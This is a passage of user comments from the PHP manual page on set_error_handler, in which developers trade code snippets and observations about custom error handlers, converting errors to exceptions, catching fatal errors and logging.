                'code' => EMPTYPARMS
        )
    );
function error_2_exception($errno, $errstr, $errfile, $errline,$context) {
    global $catch_me;
    foreach ($catch_me as $regexp  => $res) {
        if(preg_match($regexp,$errstr,$match)){
            throw new Exception($res['mesg'],$res['code']|( $errno & EMASK ) );
        }
    }
    /* switch back to PHP internal error handler  */
    return false;
}
## => want to catch this one
$f=file_get_contents("mlsdkfm");
## dont want to break existing wrong behaviour yet (so not caught)
$f=file_get_contents('');
## magic
set_error_handler("error_2_exception");
## behaviour remains the same
$f=file_get_contents('');
try {
## web services that dont work now raise an exception \o/
$f=file_get_contents("mlsdkfm");
} catch(Exception $e) {
## and I can group my exception by category
    echo ( $e->getCode() & FAILURE )  ? "\nEPIC FAIL\n" : "\nbegnine";
}

?>
kalle at meizo dot com 18-Dec-2009 06:11
This may be of help to someone, who is/was looking for a way to get a backtrace of fatal errors such as maximum memory allocation issues, which can not be handled with user-defined functions, to pin-point the problem:

On a server hosting many sites that share common PHP includes, I set in one spot:

<?php
@ini_set ("error_log", "/my/path/php.err-" . $_SERVER ["HTTP_HOST"] . "-" . $_SERVER ["REMOTE_ADDR"] . "-" . $_SERVER ["REQUEST_METHOD"] . "-" . str_replace ("/", "|", $_SERVER ["REQUEST_URI"]));
?>

I actually used some additional information too from my software that I omitted, but that way, you'll find errors sorted more neatly in for example:-

/my/path/php.err-website.com-127.0.0.1-GET-path|index.html?xyz

And that at least helped me tremendously to then further pin-point where the problem is, as opposed to before just seeing the out of memory and not knowing which site/page it was on (as the PHP error only contains the very latest PHP code where it ran out of memory, which usually is just a shared included file, not the actual page).
webmaster at raphaelmichel dot de 05-Sep-2009 11:33
If you want to use the configuration from error_reporting() in your error_handler, use this at the begin of the function:

    $rep = ini_get('error_reporting');
    if(!($rep & $fehlercode)) return false;
quickshiftin at gmail dot com 01-Jul-2009 07:59
using the output_buffer as a way to trap fatal errors from php itself, like E_ERROR, cannot offer a complete solution, b/c output buffering is disabled on the cli since 4.3.5 ..
nizamgok at gmail dot com 15-Jun-2009 07:27
I have realized that a few people here mentioned that you cannot capture parse errors (type 4, E_PARSE). This is not true. Here is how I do. I hope this helps someone.

1) Create a "auto_prepend.php" file in the web root and add this:

<?php
register_shutdown_function('error_alert');

function error_alert()
{
        if(is_null($e = error_get_last()) === false)
        {
                mail('your.email@example.com', 'Error from auto_prepend', print_r($e, true));
        }
}
?>

2) Then add this "php_value auto_prepend_file /www/auto_prepend.php" to your .htaccess file in the web root.

* make sure you change the email address and the path to the file.
nsg 13-May-2009 04:58
If using E_USER_ERROR in conjunction with a custom error-handler, we are faced with an annoying choice:

If you choose to die() on such errors, __destruct()ors can still function, but we can't then return false and have the inbuilt handler log the error.

If you return false thus allowing the error to be logged, the script will halt, exit() style, and __destruct()'s won't happen.

It seems the only solutions in such a case is to a) log your own errors, or b) don't use E_USER_ERROR.
Marcelius 22-Jan-2009 05:41
Another way to catch PHP's fatal errors:

<?php
    error_reporting(E_ALL);
    ini_set('display_errors', 0);

    function shutdown(){
        $isError = false;
        if ($error = error_get_last()){
            switch($error['type']){
                case E_ERROR:
                case E_CORE_ERROR:
                case E_COMPILE_ERROR:
                case E_USER_ERROR:
                    $isError = true;
                    break;
            }
        }

        if ($isError){
            echo "Script execution halted ({$error['message']})";
        } else {
            echo "Script completed";
        }
    }

    register_shutdown_function('shutdown');
?>

Note that this will only catch runtime errors. So calling a method in a non existing class, or declaring a function twice does not trigger the shutdown handler.
wfinn at riverbed dot com 09-Jul-2008 06:15
"The following error types cannot be handled with a user defined function: E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR, E_COMPILE_WARNING, and most of E_STRICT raised in the file where set_error_handler() is called."

This is not exactly true.  set_error_handler() can't handle them, but ob_start() can handle at least E_ERROR.

<?php

function error_handler($output)
{
    $error = error_get_last();
    $output = "";
    foreach ($error as $info => $string)
        $output .= "{$info}: {$string}\n";
    return $output;
}

ob_start('error_handler');

will_this_undefined_function_raise_an_error();

?>
jonbarnett at gmail dot com 11-Apr-2008 07:42
Per the comment below:

There's no problem with static class functions.

The proper way to set a callback for a static class function is:

array("Classname", "functionname")

The class name is a string.  If you don't quote the string, PHP treats it as a barestring and triggers a notice.

/manual/en/language.pseudo-types.php
Alexey Letoshnikov 04-Apr-2008 05:48
There is a problem to set a static function as error handler
<?php
class Debug
{
    public static function test($num,$err,$file,$line)
    {
        return true;
    }
}
?>

<?php set_error_handler(array(Debug,'test')); ?>
Static function accepted by set_error_handler() and works but php generates E_NOTICE "Use of undefined constant Debug"

<?php set_error_handler('Debug::test')); ?>
Static function accepted by set_error_handler but does not work

Finaly decided to create a __construct() method and set it as error handler.
<?php set_error_handler(array(new Debug(),'test')); ?>
etienne at perval dot fr 04-Mar-2008 03:17
Note that this function may return NULL in some cases, even when there are no errors.
For instance, this is the case when you call this function for the first time: the function returns NULL simply because there is no previous error handler defined.
m0sh3 at hotmail dot com 05-Feb-2008 09:33
Looks like there's no way to distinguish between catched exceptions thrown by internal classes and real warnings in custom error handlers:

<?php
function handleError($n, $m, $f, $l) {
    //no difference between excpetions and E_WARNING
    echo "user error handler: e_warning=".E_WARNING."  num=".$n." msg=".$m." line=".$l."\n";
    return true;
    //change to return false to make the "catch" block execute;
}
set_error_handler('handleError');
//turn off to make try/catch work normally

//uncomment this for a regular warning
timezone_open(1202229163);

//comment this whole try/catch out to see new DateTimeZone outside of a try / catch
//behavior is the same if you have set a custom error handler

//echo new DateTimeZone(1202229163);

//*
try {
    $z = new DateTimeZone(1202229163);
} catch (Exception $e) {
    echo "caught";
}
// */
?>
webmaster at paramiliar dot com 03-Jan-2008 11:03
We needed to use an error handler to handle SQL errors while passing the query along so the query is also logged and this is what we came up with, its kind of an ugly bridge but it works 100%

<?php

function myErrorHandler($errno, $errstr, $errfile, $errline){
    switch ($errno) {
    case E_USER_ERROR:
        if ($errstr == "(SQL)"){
            // handling an sql error
            echo "<b>SQL Error</b> [$errno] " . SQLMESSAGE . "<br />\n";
            echo "Query : " . SQLQUERY . "<br />\n";
            echo "On line " . SQLERRORLINE . " in file " . SQLERRORFILE . " ";
            echo ", PHP " . PHP_VERSION . " (" . PHP_OS . ")<br />\n";
            echo "Aborting...<br />\n";
        } else {
            echo "<b>My ERROR</b> [$errno] $errstr<br />\n";
            echo "  Fatal error on line $errline in file $errfile";
            echo ", PHP " . PHP_VERSION . " (" . PHP_OS . ")<br />\n";
            echo "Aborting...<br />\n";
        }
        exit(1);
        break;

    case E_USER_WARNING:
    case E_USER_NOTICE:
    }
    /* Don't execute PHP internal error handler */
    return true;
}

// function to test the error handling

function sqlerrorhandler($ERROR, $QUERY, $PHPFILE, $LINE){
    define("SQLQUERY", $QUERY);
    define("SQLMESSAGE", $ERROR);
    define("SQLERRORLINE", $LINE);
    define("SQLERRORFILE", $PHPFILE);
    trigger_error("(SQL)", E_USER_ERROR);
}

set_error_handler("myErrorHandler");

// trigger an sql error
$query = "SELECT * FROM tbl LIMIT 1";
$sql = @mysql_query($query)
    or sqlerrorhandler("(".mysql_errno().") ".mysql_error(), $query, $_SERVER['PHP_SELF'], __LINE__);

?>
michal dot kocarek at NO_SPAM dot seznam dot cz 23-Sep-2007 02:55
Be aware of efficiency and speed of your scripts!

If you use old-fashioned non-strict variable calling (example follows...), your custom error handler function degrades the script speed very big (especially for bigger projects). Because of for every "use of undefined constant" or "undefined variable" E_NOTICEs will be called your own custom error handler function.

<?
if ($form_variable) { ///< E_NOTICE Undefined variable
   // process form stuff
}
$foo[bar] = $const_array[baz]; ///< 2x E_NOTICE Use of undefined constant bar, baz

if (!$d) { // declare default $d ///< E_NOTICE Undefined variable
   $d = 5;
}
?>

As you can see in this poor example, badly writted scripts decrease the performace very big 'cause of the error handler is called almost everytime. So use custom-error-handler on heavily used pages only if you are writing scripts strictly. (Example follows:)
<?
if (isset($form_variable) && $form_variable != null) {
   // process form stuff
}
$foo['bar'] = $const_array['baz'];

if (!isset($d) || $d == null) {
   $d = 5;
}
?>
ash 04-Aug-2007 03:38
error handling function that handles both errors and exceptions; also features a backtrace including possible function arguments.

<?php

$cfg = array();
$cfg['debug'] = 1;
$cfg['adminEmail'] = 'name@domain.tld';

function errorHandler($errno, $errstr='', $errfile='', $errline='')
{
    // if error has been supressed with an @
    if (error_reporting() == 0) {
        return;
    }

    global $cfg;

    // check if function has been called by an exception
    if(func_num_args() == 5) {
        // called by trigger_error()
        $exception = null;
        list($errno, $errstr, $errfile, $errline) = func_get_args();

        $backtrace = array_reverse(debug_backtrace());

    }else {
        // caught exception
        $exc = func_get_arg(0);
        $errno = $exc->getCode();
        $errstr = $exc->getMessage();
        $errfile = $exc->getFile();
        $errline = $exc->getLine();

        $backtrace = $exc->getTrace();
    }

    $errorType = array (
               E_ERROR            => 'ERROR',
               E_WARNING        => 'WARNING',
               E_PARSE          => 'PARSING ERROR',
               E_NOTICE         => 'NOTICE',
               E_CORE_ERROR     => 'CORE ERROR',
               E_CORE_WARNING   => 'CORE WARNING',
               E_COMPILE_ERROR  => 'COMPILE ERROR',
               E_COMPILE_WARNING => 'COMPILE WARNING',
               E_USER_ERROR     => 'USER ERROR',
               E_USER_WARNING   => 'USER WARNING',
               E_USER_NOTICE    => 'USER NOTICE',
               E_STRICT         => 'STRICT NOTICE',
               E_RECOVERABLE_ERROR  => 'RECOVERABLE ERROR'
               );

    // create error message
    if (array_key_exists($errno, $errorType)) {
        $err = $errorType[$errno];
    } else {
        $err = 'CAUGHT EXCEPTION';
    }

    $errMsg = "$err: $errstr in $errfile on line $errline";

    // start backtrace
    foreach ($backtrace as $v) {

        if (isset($v['class'])) {

            $trace = 'in class '.$v['class'].'::'.$v['function'].'(';

            if (isset($v['args'])) {
                $separator = '';

                foreach($v['args'] as $arg ) {
                    $trace .= "$separator".getArgument($arg);
                    $separator = ', ';
                }
            }
            $trace .= ')';
        }

        elseif (isset($v['function']) && empty($trace)) {
            $trace = 'in function '.$v['function'].'(';
            if (!empty($v['args'])) {

                $separator = '';

                foreach($v['args'] as $arg ) {
                    $trace .= "$separator".getArgument($arg);
                    $separator = ', ';
                }
            }
            $trace .= ')';
        }
    }

    // display error msg, if debug is enabled
    if($cfg['debug'] == 1) {
        echo '<h2>Debug Msg</h2>'.nl2br($errMsg).'<br />
            Trace: '.nl2br($trace).'<br />';
    }

    // what to do
    switch ($errno) {
        case E_NOTICE:
        case E_USER_NOTICE:
            return;
            break;

        default:
            if($cfg['debug'] == 0){
                // send email to admin
                if(!empty($cfg['adminEmail'])) {
                    @mail($cfg['adminEmail'],'critical error on '.$_SERVER['HTTP_HOST'], $errorText,
                            'From: Error Handler');
                }
                // end and display error msg
                exit(displayClientMessage());
            }
            else
                exit('<p>aborting.</p>');
            break;

    }

} // end of errorHandler()

function displayClientMessage()
{
    echo 'some html page with error message';

}

function getArgument($arg)
{
    switch (strtolower(gettype($arg))) {

        case 'string':
            return( '"'.str_replace( array("\n"), array(''), $arg ).'"' );

        case 'boolean':
            return (bool)$arg;

        case 'object':
            return 'object('.get_class($arg).')';

        case 'array':
            $ret = 'array(';
            $separtor = '';

            foreach ($arg as $k => $v) {
                $ret .= $separtor.getArgument($k).' => '.getArgument($v);
                $separtor = ', ';
            }
            $ret .= ')';

            return $ret;

        case 'resource':
            return 'resource('.get_resource_type($arg).')';

        default:
            return var_export($arg, true);
    }
}

?>
Thomas 18-Jul-2007 01:57
Be careful with error-handlers if you are using require() with a function as argument, like
<?php
  require(foo($foo));
?>
If the result of the function isn't a valid file to be included, you wont get any errormessage, but your script will crash without any output (see the bug-database for further details: http://bugs.php.net/bug.php?id=41862).
stepheneliotdewey at GmailDotCom 26-Jun-2007 09:26
Additional note based on some further testing:

Although errcontext is effectively an array passed by reference to your custom error handling function, you cannot simply copy it over to another variable, because that variable will also act like a reference to errcontext, almost like an object.

Instead, the only way I can find to copy the errcontext array to a separate variable so that you can actually modify its values without changing the surrounding variable context, is to copy it piece-by-piece with a foreach loop. Not the most efficient way of working, but then again, errors are hopefully exceptional enough for you that performance will not be an overriding concern in this case.
stepheneliotdewey at GmailDotCom 26-Jun-2007 08:48
The manual states:

"errcontext will contain an array of every variable that existed in the scope the error was triggered in. User error handler must not modify error context."

But do you know WHY you must not modify the error context? It appears that errcontext is (in effect if not literally) created by taking $GLOBALS and adding the non-global local variables as additional entries in that array, then passing the whole thing *by reference*.

(You can prove this to be true if you set up a custom error handler and then print_r($errcontext) within it, because $GLOBALS will be printed as a recursive array).

In other words, the language in the manual is misleading, because errcontext is NOT a copy of the variables that existed when the error WAS triggered, but rather is a reference to the *existing LIVE variables* in the calling script.

This includes superglobal variables like $_SERVER, $_POST, $_GET, etc., as well as all user-defined variables in scope.

The significance of that is that if you modify errcontext, you will be modifying those other variables, not just for the life of your error handling function, but for the life of the calling script as well.

That doesn't matter if you plan to halt execution in your error handling function, but it will lead to unexpected behavior if you modify $errcontext and then return to the program's normal flow after handling the error, because the variables will stay modified. For example, if you unset $_SERVER in your custom error handling function, it will remain unset once the function is over and you have returned to the page that generated the error.

This should be made clearer in the manual, starting by marking errhandler with an ampersand (&) for passage by reference in the "Parameters" section above, like so:

handler ( int $errno, string $errstr [, string $errfile [, int $errline [, array &$errcontext]]] )
gotrunko at hotmail dot com 20-Jun-2007 01:26
To ereg error in a text file

<?php
$log_file="log.txt";

set_error_handler(log_handler);

function log_handler ( $errno, $errstr,  $errfile, $errline, $errcontext )
{
    $context = var_export($errcontext, TRUE);
    log_error_ereg("errno:$errno ($errstr) file:$errfile, line:$errline, context:$context\n");
}

function log_error_ereg($mess)
{
    global $log_file;

    $fd = fopen($log_file, 'a');
    if(!$fd)
    {
        echo "<pre>$mess</pre>";
    }
    else
    {
        if(!fwrite($fd, date('Y-m-d H:i:s')." ERR : \n$mess\n\n"))
        {
            echo "<pre>$mess</pre>";
        }
        fclose($fd);
    }
}
?>
greg sidberry[poetics5 at yahoo dot com] 15-May-2007 10:32
I was using a class, and needed to have a function within it handle php errors.

The following code will allow you to call a class function of already defined object while maintaining access to all the objects current data .
============================

set_error_handler("classPassPHPError");

$ObjectName="test";

$test->new className;

function classPassPHPError($errno, $errstr, $errfile, $errline){
global $ObjectName;

eval("global \$".$ObjectName.";");
eval("\$object=\$".$ObjectName.";");

$object->phpErrorHandler($errno, $errstr, $errfile, $errline);
$object=null;
}
silkensedai at online dot fr 02-May-2007 12:37
i made an error handler that print also the backtrace and that can die on some errors. It can be useful if you want to die on every error you find.

<?php

function my_error_handler($errno, $errstr, $errfile, $errline){
    $errno = $errno & error_reporting();
    if($errno == 0) return;
    if(!defined('E_STRICT'))            define('E_STRICT', 2048);
    if(!defined('E_RECOVERABLE_ERROR')) define('E_RECOVERABLE_ERROR', 4096);
    print "<pre>\n<b>";
    switch($errno){
        case E_ERROR:               print "Error";                  break;
        case E_WARNING:             print "Warning";                break;
        case E_PARSE:               print "Parse Error";            break;
        case E_NOTICE:              print "Notice";                 break;
        case E_CORE_ERROR:          print "Core Error";             break;
        case E_CORE_WARNING:        print "Core Warning";           break;
        case E_COMPILE_ERROR:       print "Compile Error";          break;
        case E_COMPILE_WARNING:     print "Compile Warning";        break;
        case E_USER_ERROR:          print "User Error";             break;
        case E_USER_WARNING:        print "User Warning";           break;
        case E_USER_NOTICE:         print "User Notice";            break;
        case E_STRICT:              print "Strict Notice";          break;
        case E_RECOVERABLE_ERROR:   print "Recoverable Error";      break;
        default:                    print "Unknown error ($errno)"; break;
    }
    print ":</b> <i>$errstr</i> in <b>$errfile</b> on line <b>$errline</b>\n";
    if(function_exists('debug_backtrace')){
        //print "backtrace:\n";
        $backtrace = debug_backtrace();
        array_shift($backtrace);
        foreach($backtrace as $i=>$l){
            print "[$i] in function <b>{$l['class']}{$l['type']}{$l['function']}</b>";
            if($l['file']) print " in <b>{$l['file']}</b>";
            if($l['line']) print " on line <b>{$l['line']}</b>";
            print "\n";
        }
    }
    print "\n</pre>";
    if(isset($GLOBALS['error_fatal'])){
        if($GLOBALS['error_fatal'] & $errno) die('fatal');
    }
}

function error_fatal($mask = NULL){
    if(!is_null($mask)){
        $GLOBALS['error_fatal'] = $mask;
    }elseif(!isset($GLOBALS['die_on'])){
        $GLOBALS['error_fatal'] = 0;
    }
    return $GLOBALS['error_fatal'];
}

?>

Usage :

<?php
error_reporting(E_ALL);      // will report all errors
set_error_handler('my_error_handler');
error_fatal(E_ALL^E_NOTICE); // will die on any error except E_NOTICE
?>
elven_rangers at yahoo dot com 14-Feb-2007 04:22
Unfortunately, none of the procedures described here by other users to catch all errors work.

Then again this would be impossible as parse errors are triggered before the code is interpreted and executed so no code solution is possible (just as the documentation says).

You can test them easily against this simple code:

some_function_that_doesnt_exist();

using it in this form will trigger a Fatal Error (call to undefined function), which can't be caught by using your custom defined handler but *can* be caught by using the solutions presented by other programmers.

if you remove the ; from the end will trigger a Parse Error (syntax error), which *can't* be caught by any of these solutions. If this called is however places as the last line of code, just before the ?> then it will again generate a Fatal Error (call to undefined function).

if you further remove the () then you'll get a Notice (undefined constant) which can be caught by the manual method of defining a custom error handler.
mail at chernousov dot com 24-Oct-2006 03:52
When fatal error occurs, class destructors are not executed.

<?

class someClass {
  function __construct() {
    echo '__construct()';
  }

  function __destruct() {
    echo '__destruct()';
  }
}

$someClass = new someClass();
someNonExistentFunction();

?>

Result will be:

__construct()
Fatal error: Call to undefined function someNonExistentFunction() in tes.php on line 14
alexey.kupershtokh.gmail 02-Oct-2006 12:07
2errd
I've got more convenient and safe error to exception converter:

class CustomException extends Exception {
  public static function errorHandlerCallback($code, $string, $file, $line, $context) {
    $e = new self($string, $code);
    $e->line = $line;
    $e->file = $file;
    throw $e;
  }
}
set_error_handler(array("CustomException", "errorHandlerCallback"), E_ALL);
dk at brightbyte dot de 27-Aug-2006 04:09
Sometimes, you want to "catch" only some errors, and let the default handler deal with the result. I just found out that (at least in PHP 5), the default handler will be called if you return false (not 0 or NULL or '', but false) from your custom handler. This allows for "chaining" handlers.

The fature was suggested in this thread:
http://www.zend.com/lists/php-dev/200405/msg00491.html - the initial suggestion was to call the default handler if true is returned, but this was changed later on, apperently.
jla 27-Jul-2006 04:16
Other option to "handle" ALL errors

set_error_handler("yourHandler");

// Parse,Compile, Core, etc... Errors
ini_set('html_errors',false);
ini_set('error_prepend_string','<html><head><META http-equiv="refresh" content="0;URL=/error.php?msg=');
ini_set('error_append_string','"></head></html>');
kariedoo 08-May-2006 01:07
function errorlog($type, $info, $file, $row)
{
   if ($handle = fopen("./log/ftp_error.log", "a"))
   {
      @fwrite($handle, date("Y-m-d H:i:s")." "--> $type: $info FILE: $file -  Row $row\r\n" );
      @fclose($handle);
   }//end if
}//end function

### in the error logging code for example ftp: ###

set_error_handler("errorlog");  //set your own Handler

$this->connect = ftp_connect(TXTCONNECT);
$this->login = ftp_login($this->connect, TXTID, FTPPASS);
$this->systype= ftp_systype($this->connect);

restore_error_handler(); //restore the old handler

------------------
content in file
------------------

2006-05-08 09:36:02 2: ftp_login(): Login incorrect. FILE: /html/cgi-bin/test/classes/ftp.class.php - Row 63
docey 05-Apr-2006 12:50
if you wan't to know the current error-handler
set use something like this:

$current_errorhandler = set_error_handler("myerrorhandler");
restore_error_handler();

this will set your custom error_handler and return
the name of the previous set error handler. by
calling restore_error_handler, you remove your
custom error_handler and set the error_handler that
was set back again.

this way you can also switch back to php-default error-handler
without knowing how many error-handler already
are set, by using a loop till an empty string is
returned. because an empty string means
"no error-handler set" wich means php's default
errorhandler is set back.

like in this code below:

function restore_phperrorhandler()
{
 // get current error handler.
 $previous_errorhandler =
 set_error_handler("myerrorhandler");
 restore_error_handler();

 $max_loops = 20;
 $cur_loops = 0;

 // if current error handler is not already php's or fails.
    if(($previous_errorhandler != NULL) OR
      ($previous_errorhandler != "")){

        while($previous_errorhandler != ""){
         $cur_loops = $cur_loops + 1;

            // check if not exceeding infinit loop.
            if($cur_loops >= $max_loops){
              trigger_error("Restoring exceeds max. loops.",
              E_USER_WARNING);
             return false;
            }

            //switch to previous handler.
            restore_error_handler();

            // get its name and switch to it again.
            $previous_errorhandler =
            set_error_handler("myerrorhandler");
            restore_error_handler();

           // check if getting errorhandler failed.
           if($previous_errorhandler == NULL){
              trigger_error("Failed to get prev. error handler",
              E_USER_WARNING);
            return false;

            // empty string = php-default error handler
            }elseif($previous_errorhandler == ""){
             return true;
            }
        }
    }else{
      trigger_error("Current Error-Handler is default.",
      E_USER_NOTICE);
     return true;
    }
}

this function will loop and return true when no
error handler is left. leaving php-default handler
in controll again. this is usefull if you want to
disable your own error-handler but be sure that
php's is handling your error's and not any other
error-handler.
errd 30-Jan-2006 05:52
In errors to exceptions conversion below I found some incorrect stuff. File and line properties of Exception point to line and file where Exception is thrown, but not where real error is occured.

Impoved errors to exceptions converting:
+ Fixed filename of exception handled
+ Fixed code line of exception handled

<?php

class CustomException extends Exception {
    public function setLine($line) {
        $this->line=$line;
    }

    public function setFile($file) {
        $this->file=$file;
    }
}

function exceptionsHandler($code, $string, $file, $line) {
    $exception=new CustomException($string, $code);
    $exception->setLine($line);
    $exception->setFile($file);
    throw $exception;
}

set_error_handler('exceptionsHandler', E_ALL);

?>
24-Jan-2006 01:19
To honor the value of PHP's error_reporting() function, use:

<?
  if( ($level & error_reporting()) == 0 ) return;
?>
Gulopine 05-Jan-2006 09:36
Also note that even though the documentation states "errcontext will contain an array of every variable that existed in the scope the error was triggered in," that is not the case for $this in an instantiated object, as of PHP 5.1.1.

<?php

function error_function($errno, $errstr, $errfile, $errline, $errcontext) {
    print_r($errcontext);
}

set_error_handler('error_function');

class test_class {
    private $id;

    function __construct($id) {
        $this->id = $id;
        trigger_error('Test error');
    }
}

$test = new test_class(5);

?>

Result:

Array
(
    [id] => 5
)

I discovered this when trying to write an error handler that would log the class the error occured in, as it was triggered from a function in a parent class extended by several individual classes.
ia [AT] zoznam [DOT] sk 22-Sep-2005 04:33
as reply to dawiddr at gmail dot com:

Be careful with this when using __autoload(). When there is some error during parsing the file included in __autoload() so an exception is thrown, it results in following error:

Fatal error:  Function __autoload(ClassName) threw an exception of type 'Exception' in /network/webroot/dev/test.php on line 121

It is because exceptions can't be thrown in __autoload().
See __autoload() documentation (http://www.php.net/autoload) and bug #31102 (http://bugs.php.net/bug.php?id=31102&edit=3)
florian at siweho dot de 22-Aug-2005 12:26
@ mmtache at yahoo dot com
you have to use
if(error_reporting() != 0){
   .... (yourOwnHandler)

instead of
if(error_reporting()){
   ....

in PHP5. then operations like this "@fopen" won't show an error-message
eregon at eregon dot info 02-Aug-2005 09:35
It is not possible to handle fatal errors with own handler. Even if you have set your own handler, fatal error will be always handled by PHP's default handler. The reason is the script may be in unstable state after fatal error occurence (details here: http://marc.theaimsgroup.com/?l=php-dev&m=97673386418430&w=2).
dawiddr at gmail dot com 05-Jul-2005 04:01
In PHP5, if you want to have exceptions thrown instead of normal errors - you could use an error handler, which throw exceptions:

<?php

function handler($errno, $errstr, $errfile, $errline)
{
    print "Error handled!\n";
    throw new Exception($errstr, $errno);
}

set_error_handler('handler');

try
{
    print 2 / 0; // simple error - division by zero
    print "This will never be printed";
}
catch (Exception $e)
{
    print "Exception catched:\n";
    print "Code: ".$e->getCode()."\n";
    print "Message: ".$e->getMessage()."\n";
    print "Line: ".$e->getLine();
}

?>

Result:

Error handled!
Exception catched:
Code: 2
Message: Division by zero
Line: 6

As you see, exception is catched like it have been thrown by division by zero - in try/catch clause. But line numer and backtrace shows, that is was thrown by the error handler.
frank at ethisoft dot nl 01-Jun-2005 03:11
Perhaps it is worth mentioning that in
PHP5
both set_error_handler & set_exception_handler can be called with an array containing 2 arguments:
1) var  ==> object
2) string ==> name of handler function in object

EXAMPLE:
<?php
set_error_handler               (array($object, 'handler_function'));
set_exception_handler      (array($object, 'handler_function'));
?>

Both can point to the same object and handler_function so that both error and exception handling, which are very much alike usually, can be done by only 1 dedicated class.
jgiglio at netmar dot com 25-Mar-2005 08:02
set_error_handler also overrides the default behavior of postgresql which is to shoot HTML errors to the browser on a query failure or other database error.

I can't find a list of symbolic $errno names for postgres errors, but a normal "bad query" throws an errno of 2.

Be careful to not use an empty default case in your errno case statement if you use postgresql, and expect php to generate DB errors automatically.
Steffen Staehle 12-Jan-2005 02:29
Two notes on using set_error_handler() on behaviour that I noticed when migrating an application from php 4.2.1 to php 4.3.9 (I do not yet have php 5.0 available, this might not apply there!).

1. setting the system error handler

If you want to set the standard php error handler again, after having set your own error handler, this works in php 4.2.1 by passing in an empty string:

<?php

   function my_handler($log_level, $log_text, $error_file, $error_line)
   {
      // if an error occurs here, the standard error
      // would be called (to avoid recursion)

      // do something useful
      // ...
   }

   $last_handler = set_error_handler("my_handler");

   // after this, $last_handler == ""

   // restore standard error handler

   $last_handler = set_error_handler("");

   // after this, $last_handler == "my_handler"

?>

The very same code now raises an error in php 4.3.9:

   set_error_handler() expects argument 1, '', to be a valid callback

(Since the return value of the first call to set_error_handler() is still the empty string "", I don't see how this can be done any more. I don't really need this, because I use my own handlers as shown below, but it might be good to be aware of this.)

2. setting your own 'second level' handler

If you have set your own error handler, and want to replace it by another one (other than the standard php error handler) while it is being executed, note that the return value of set_error_handler when used INSIDE the error handler is "" instead of the name of the previous handler! This is not too surprising, because during execution of your self defined error handler, php replaces it with the standard php error handler to avoid infinite loops in case of problems inside the handler. This is only interesting if you want nested handlers as I do. Background of my design:

   1st level handler: log into DB
   2nd level handler: log into flat file (if log into DB fails)
   3rd level handler: print to stdout (if log into flat file fails) (this is the sytem handler, finally).

<?php

   function my_fallback_handler($log_level, $log_text, $error_file, $error_line)
   {
      // if an error occurs here, the standard error
      // would be called (to avoid recursion)

      // do something useful
      // ...

   } // my_fallback_handler

   function my_handler($log_level, $log_text, $error_file, $error_line)
   {
      // if an error occurs here, the standard error
      // would be called (to avoid recursion)

      // but we want to have a fallback handler different
      // to the standard error handler

      $last_handler = set_error_handler("my_fallback_handler");

      // I expected $last_handler == "my_handler"
      // (which it would outside my_handler())
      // but here it is the empty string ""

      // do something useful
      // ...

      // now set the 1st level handler again:
      // (do NOT use $last_handler as argument,
      // because it equals "")

      $last_handler = set_error_handler("my_handler");

   } // my_handler

   $last_handler = set_error_handler("my_handler");

?>
Sukender 10-Aug-2004 08:29
In PHP5, ou can ask for the default handler to be called after your custom handler by returning "false". See this pseudo-code :
<?
function MyHandler($errno, $errstr, $errfile, $errline, $errcontext) {
    my_handling_code;        // Do something, such as sending an email to the admin
    if (i_want_to_call_the_default_handler) return false;        // will invoke the default error handler just after
    else return true;        // This will NOT invoke it (= you've properly handled the error)
}
set_error_handler("MyHandler");
?>

I have not tested the functionality, but I think that the php.ini directive "log_errors" keeps working, but *only* when you call the default handler (= retrun false).

>>> Source : Mailing list thread about "re-invoking default error handler" at http://www.zend.com/lists/php-dev/200405/msg00491.html (be careful about the first post : "true" and "false" are switched - because it's only a proposition).
Joe 29-Jun-2004 10:26
When a custom error handler is set, the php.ini directive "log_errors" stops working.  I'm guessing to favor your custom handler.  You can still log your errors with the "error_log" function, but it doesn't happen when you have a custom error handler.
Cezary Tomczak 22-Apr-2004 01:25
Here is a script to debug / display errors in a nice way: http://gosu.pl/demo/ErrorHandler/ErrorHandler.zip

Example of displaying an error: http://gosu.pl/demo/ErrorHandler/example1.html
Example of displaying source of the file where the error appeared: http://gosu.pl/demo/ErrorHandler/example2.html

Displaying error: generates a backtrace, show file / line, show function / arguments (and values), source of the file
erwin at isiz dot nl 19-Apr-2004 06:51
@sijmen at digitized dot nl
That's not true. The reference operator does have effect, when used correctly.

Your code doesn't use the reference operator in the set_error_handler function, but it does when creating the new error object. In your case, you have to use the reference operator two times.

When calling the set_error_handler function

<?php
        set_error_handler(array(&$this, 'handler'));
?>

and when creating the class

<?php
$eh = &new error;
?>

In that case the same error class will be used and the output will be following:
Error!
!!

Hope this helps.
mightye (at) mightye (dot) org 12-Apr-2004 02:18
You can't use this functionality to catch parse errors in included, required, or eval()'d code.  Parse errors seem to exist on a deeper level.
sijmen at digitized dot nl 09-Apr-2004 07:47
@jayp at groovejob dot com
As I said before, the reference operator doesn't have any effect on the the error handler.

Proof of concepts:
http://trouby.digitized.nl/set_error_handler2.php
http://trouby.digitized.nl/set_error_handler2.php?source=1
jayp at groovejob dot com 03-Apr-2004 09:28
In response to sijmen at digitized dot nl:

Instead of

$eh = new error;

use

$eh =& new error();

The new operator returns a copy of the error object, so the error handler that is set in the constructor is tied to a different object instance than the instance returned by "new".  To make sure you are working with the exact same object instance that you think you are, it's best to use the reference object when creating instances of objects, like so:

$oMyObject =& new MyObject();

HTH,

Jay
sijmen at digitized dot nl 30-Mar-2004 07:23
@skyrl at free dot fr
It seems that the reference operator '&' doesn't have any effect. That's why I submitted the comment.

<?php
class error {
    var $error;

    function error() {
        $this->setIni();
    }

    function handler() {
        echo $this->error.'!!';
    }

    function setText($text) {
         $this->error = $text;
    }

    function setIni() {
        set_error_handler(array(&$this, 'handler')); // The '&' operator doesn't have any effect
    }
}

$eh = new error;
$eh->setText('Error! <br>'); // Will not get set

trigger_error('text', E_USER_ERROR); // prints '!!'
?>

Proof of concept
http://trouby.digitized.nl/set_error_handler.php
http://trouby.digitized.nl/set_error_handler.php?source=1
skyrl at free dot fr 29-Mar-2004 07:00
in reaction to the last '29-Mar-2004 11:13' post, just have to say that's normal the values are not "saved" in your error handler object. because the error object of the handler is not the same object as the one you instantiate...

You have to write set_error_handler(array(&this, 'my_error_handler')). The & is important for php to know that your error handler belongs to the same instance you allocate.
29-Mar-2004 04:13
It seems that when you're letting PHP know that you have a custom  error handler, you're not able to -update/set new- variables inside the class. Example:

<?php
class error {
   var $error;

   function error() {
       $this->setIni();    // this causes PHP to ignore all other changes to the class.
   }

   function handler() {
